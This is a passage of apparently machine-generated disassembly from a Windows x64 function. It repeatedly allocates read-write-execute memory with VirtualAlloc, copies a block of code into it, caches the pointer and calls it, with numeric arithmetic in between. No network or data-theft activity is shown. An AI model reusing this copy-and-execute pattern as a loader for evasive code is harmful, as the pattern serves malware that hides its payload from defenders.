mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001dab9
mov r8, r12
jmp 0x14001db5e
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001dad0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x6a520], rcx
mov qword [r13 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x1b18]
mov rcx, qword [rbx]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x2b08]
call fcn.140009fa0
addsd xmm6, xmm7
movsd qword [rbp + 0x428], xmm6
lea rdx, [0x14002ed10]
lea rcx, [rbp + 0xd48]
call fcn.1400213f0
mov rbx, rax
mov edx, 0x18
lea rcx, [rbp + 0x2b20]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2b20]
call fcn.140009f70
nop
mov edx, r12d
mov rcx, qword [0x140067c30]
test rcx, rcx
je 0x14001dc30
nop dword [rax + rax]
lea rax, [0x140021750]
cmp rcx, rax
je 0x14001dc1d
inc edx
mov rcx, qword [r13 + rdx*8 + 0x67c30]
test rcx, rcx
jne 0x14001dc00
jmp 0x14001dc30
mov eax, edx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001dd26
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001dc59
mov r8, r12
jmp 0x14001dcfe
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001dc70
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x67c30], rcx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1ab8]
mov rcx, qword [rbx]
call r8
movaps xmm10, xmm0
lea rcx, [rbp + 0x2b20]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2b38]
call fcn.140004660
lea rbx, [rbp + 0x15798]
mov rdx, rbx
lea rcx, [rbp + 0x2b38]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006d450]
test rax, rax
je 0x14001ddaa
lea rdx, [0x140021750]
cmp rax, rdx
je 0x14001dd97
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6d450]
test rax, rax
jne 0x14001dd81
jmp 0x14001ddaa
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x68be0]
test r8, r8
jne 0x14001de98
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001ddd3
mov r8, r12
jmp 0x14001de70
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001dde2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x6d450], rcx
mov qword [r13 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rbp + 0x428]
mov rcx, qword [rdi]
call r8
movaps xmm9, xmm0
lea rcx, [rbp + 0x2b38]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2b50]
call fcn.140004660
mov rdx, rbx
lea rcx, [rbp + 0x2b50]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
lea rbx, [0x140021750]
test rax, rax
je 0x14001df19
nop dword [rax]
cmp rax, rbx
je 0x14001df06
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14001def0
jmp 0x14001df19
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001dfff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001df42
mov r8, r12
jmp 0x14001dfde
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001df50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], rbx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1ab8]
mov rcx, qword [rsi]
call r8
movaps xmm8, xmm0
lea rcx, [rbp + 0x2b50]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2b68]
call fcn.140004660
lea rsi, [rbp + 0x15798]
mov rdx, rsi
lea rcx, [rbp + 0x2b68]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14001e07c
cmp rax, rbx
je 0x14001e069
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14001e053
jmp 0x14001e07c
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001e15f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001e0a5
mov r8, r12
jmp 0x14001e13e
mov rax, rbx
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001e0b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], rbx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1b18]
mov rcx, qword [r14]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x2b68]
call fcn.140009fa0
mulsd xmm8, xmm6
addsd xmm8, xmm9
subsd xmm8, xmm10
lea rcx, [rbp + 0x2b80]
call fcn.140009fa0
addsd xmm8, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm8
lea rdx, [0x140009f50]
lea rcx, [rbp + 0xd50]
call fcn.140021e00
mov rbx, rax
mov dword [rbp - 0x5c], 3
lea rdx, [rbp + 0x14120]
lea rcx, [rbp + 0x19d8]
call fcn.140021f10
movsd qword [rbp + 0x430], xmm0
mov edx, 0x18
lea rcx, [rbp + 0x2b98]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2b98]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006c170]
lea r14, [0x140021830]
test rax, rax
je 0x14001e23c
cmp rax, r14
je 0x14001e229
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6c170]
test rax, rax
jne 0x14001e213
jmp 0x14001e23c
mov eax, ecx
mov r9, qword [r13 + rax*8 + 0x6b7f0]
test r9, r9
jne 0x14001e31f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14001e265
mov r9, r12
jmp 0x14001e2fe
mov rax, r14
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001e270
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
mov qword [r13 + rax*8 + 0x6c170], r14
mov qword [r13 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp - 0x5c]
lea rdx, [rbp + 0x430]
mov rcx, qword [rbx]
call r9
movaps xmm6, xmm0
lea rcx, [rbp + 0x2b98]
call fcn.140009fa0
movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm6
movsd qword [rsp + 0x68], xmm1
lea rdx, [0x140009f60]
lea rcx, [rbp + 0xd58]
call fcn.140021df0
mov rbx, rax
lea rdx, [rbp + 0x14120]
lea rcx, [rbp + 0x19d8]
call fcn.140021f10
movsd qword [rbp + 0x438], xmm0
mov edx, 0x18
lea rcx, [rbp + 0x2bb0]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2bb0]
call fcn.140009f70
nop
mov edx, r12d
mov rcx, qword [0x14006a840]
lea r14, [0x140021750]
test rcx, rcx
je 0x14001e3e0
cmp rcx, r14
je 0x14001e3cd
inc edx
mov rcx, qword [r13 + rdx*8 + 0x6a840]
test rcx, rcx
jne 0x14001e3b7
jmp 0x14001e3e0
mov eax, edx
mov r8, qword [r13 + rax*8 + 0x69ba0]
test r8, r8
jne 0x14001e4cf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001e409
mov r8, r12
jmp 0x14001e4ae
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001e420
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
mov qword [r13 + rax*8 + 0x6a840], r14
mov qword [r13 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rbp + 0x438]
mov rcx, qword [rbx]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x2bb0]
call fcn.140009fa0
mulsd xmm6, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm6
mov eax, dword [rsp + 0x60]
lea rdx, [rbp + 0x14120]
lea rcx, [rbp + 0x15a0]
test al, 1
jne 0x14001e51e
call fcn.140007450
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x14001e52d
call fcn.140007450
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov dword [rsp + 0x60], ecx
mov byte [rbp + 0x1585], 0
mov edi, 5
nop dword [rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x14120]
lea rcx, [rbp + 0x15a0]
call fcn.140007450
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rdx, [rbp + 0x14120]
lea rcx, [rbp + 0x19d8]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x68]
addsd xmm0, xmm1
movsd qword [rsp + 0x68], xmm0
lea rdx, [rbp + 0x14120]
test bl, 1
jne 0x14001e5b5
lea rcx, [rbp + 0x15a0]
call fcn.140007450
mov ecx, dword [rsp + 0x60]
imul eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x14001e5d5
movsd xmm6, qword [rsp + 0x68]
lea rcx, [rbp + 0x19d8]
call fcn.140021f10
addsd xmm0, xmm7
divsd xmm6, xmm0
movsd qword [rsp + 0x68], xmm6
inc ebx
cmp ebx, 5
jl 0x14001e550
sub rdi, 1
jne 0x14001e540
lea rdx, [rbp + 0x14120]
lea rcx, [rbp + 0x15a0]
call fcn.140007450
mov ebx, eax
lea rdx, [rbp + 0x14120]
lea rcx, [rbp + 0x15a0]
call fcn.140007450
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x1585]
call fcn.1400218b0
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rcx, [rbp + 0x1848]
call fcn.1400047a0
sub r15, 1
jne 0x14001d6a0
lea rcx, [rbp + 0x490]
call fcn.140009fc0
mov rcx, rax
lea rdx, [rbp + 0x19f8]
call fcn.140021890
xor edx, edx
movzx ecx, al
call fcn.140009f40
test al, al
jne 0x14001d692
mov eax, dword [rsp + 0x60]
lea rcx, [rbp + 0x2da0]
call fcn.140004eb0
nop
lea rcx, [rbp + 0x18f0]
call fcn.140021e60
mov eax, dword [rbp + 0x1578]
add eax, 0x3b
mov dword [rbp + 0x1578], eax
lea ebx, [rax + 5]
lea rcx, [rbp + 0x1b60]
call fcn.140009fa0
mov eax, ebx
mov rcx, qword [rbp + 0x156c0]
xor rcx, rsp
call fcn.1400255f0
lea r11, [rsp + 0x15870]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret